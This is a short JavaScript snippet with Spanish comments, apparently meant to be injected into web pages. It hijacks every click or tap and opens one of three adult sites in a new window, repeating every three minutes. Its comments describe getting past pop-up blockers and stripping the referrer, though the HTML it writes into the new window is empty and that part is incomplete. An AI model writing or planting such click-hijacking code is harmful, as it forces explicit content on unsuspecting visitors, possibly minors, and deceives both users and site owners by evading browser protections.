(function() {
// Lista de sitios web de destino
const sitiosDestino = [
"https://videosxy.net",
"https://goldenshowe.com",
"https://exposedwife.com"
];
const TIEMPO_ESPERA_MS = 3 * 60 * 1000; // 3 minutos
const CLAVE_STORAGE = "ultimo_salto_timestamp";
function ejecutarSalto(e) {
const ahora = Date.now();
const ultimoSalto = localStorage.getItem(CLAVE_STORAGE);
// Validar el cooldown de 3 minutos
if (ultimoSalto && (ahora - parseInt(ultimoSalto, 10)) < TIEMPO_ESPERA_MS) {
return; // No hacer nada, dejar operar la página normalmente
}
// Registrar timestamp de inmediato
localStorage.setItem(CLAVE_STORAGE, ahora);
// Seleccionar URL de forma aleatoria
const urlAleatoria = sitiosDestino[Math.floor(Math.random() * sitiosDestino.length)];
// En móviles y Edge, window.open directo en la primera línea del evento pasa la barrera del Pop-up Blocker
const nuevaVentana = window.open("", "_blank");
if (nuevaVentana) {
// Eliminar la referencia del origen (Referer) mediante documento intermedio seguro
nuevaVentana.opener = null;
// Inyectar HTML en la nueva ventana para forzar la política 'no-referrer'
nuevaVentana.document.write(`
`);
nuevaVentana.document.close();
}
}
// Soporte híbrido para Escritorio y Móviles (Touch events)
const tipoEvento = ('ontouchstart' in window) ? 'touchend' : 'click';
window.addEventListener(tipoEvento, ejecutarSalto, { passive: true });
})();